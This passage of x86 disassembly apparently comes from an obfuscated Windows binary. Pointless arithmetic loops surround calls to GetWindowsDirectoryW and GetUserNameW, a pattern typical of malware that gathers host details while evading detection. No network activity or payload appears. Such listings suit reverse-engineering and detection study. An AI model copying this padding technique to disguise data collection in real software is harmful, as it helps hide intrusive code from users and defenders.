jmp 0x4f7a1e
mov dword [ebp - 4], 7
mov dword [ebp - 0x16ac], 0xffffffff
mov dword [ebp - 0x16b0], 0
jmp 0x4f7aa6
mov ecx, dword [ebp - 0x16b0]
add ecx, 1
mov dword [ebp - 0x16b0], ecx
cmp dword [ebp - 0x16b0], 5
jge 0x4f7ad8
mov eax, dword [ebp - 0x16b0]
cdq
mov ecx, 0x25
idiv ecx
test edx, edx
jne 0x4f7acd
mov edx, dword [ebp - 0x16ac]
movsx eax, byte [edx]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
jmp 0x4f7a97
mov dword [ebp - 4], 0xfffffffe
jmp 0x4f7af8
mov dword [ebp - 0x16b4], 0
jmp 0x4f7b13
mov edx, dword [ebp - 0x16b4]
add edx, 1
mov dword [ebp - 0x16b4], edx
cmp dword [ebp - 0x16b4], 5
jge 0x4f7b54
cmp dword [ebp - 0x1c], 0
jge 0x4f7b2a
mov eax, dword [ebp - 0x1c]
neg eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
je 0x4f7b40
mov dword [ebp - 0x1c], 0
push 0xfa
lea edx, [ebp - 0x18b0]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
jmp 0x4f7b04
mov dword [ebp - 0x18b4], 0
jmp 0x4f7b6f
mov eax, dword [ebp - 0x18b4]
add eax, 1
mov dword [ebp - 0x18b4], eax
cmp dword [ebp - 0x18b4], 4
jge 0x4f7bbc
cmp dword [ebp - 0x1c], 0
jge 0x4f7b86
mov ecx, dword [ebp - 0x1c]
neg ecx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
jne 0x4f7b9c
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18b8], 0xfa
lea edx, [ebp - 0x18b8]
push edx
lea eax, [ebp - 0x1ab0]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
jmp 0x4f7b60
mov dword [ebp - 0x1ab4], 0
jmp 0x4f7bd7
mov ecx, dword [ebp - 0x1ab4]
add ecx, 1
mov dword [ebp - 0x1ab4], ecx
cmp dword [ebp - 0x1ab4], 1
jge 0x4f7c24
mov eax, dword [ebp - 0x1ab4]
cdq
mov ecx, 5
idiv ecx
cmp edx, 1
je 0x4f7c06
mov eax, dword [ebp - 0x1ab4]
cdq
mov ecx, 5
idiv ecx
cmp edx, 4
jne 0x4f7c16
nop
nop
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x1ab4]
mov dword [ebp - 0x1c], edx
jmp 0x4f7c22
mov eax, dword [ebp - 0x1c]
and eax, dword [ebp - 0x1ab4]
mov dword [ebp - 0x1c], eax
jmp 0x4f7bc8
mov dword [ebp - 0x1ab8], 0
jmp 0x4f7c3f
mov ecx, dword [ebp - 0x1ab8]
add ecx, 1
mov dword [ebp - 0x1ab8], ecx
cmp dword [ebp - 0x1ab8], 1
jge 0x4f7c56
mov edx, dword [ebp - 0x1c]
xor edx, dword [ebp - 0x1ab8]
mov dword [ebp - 0x1c], edx
jmp 0x4f7c30
cmp dword [ebp - 0x1c], 0
jge 0x4f7c64
mov eax, dword [ebp - 0x1c]
neg eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 7
idiv ecx
test edx, edx
jne 0x4f7c7c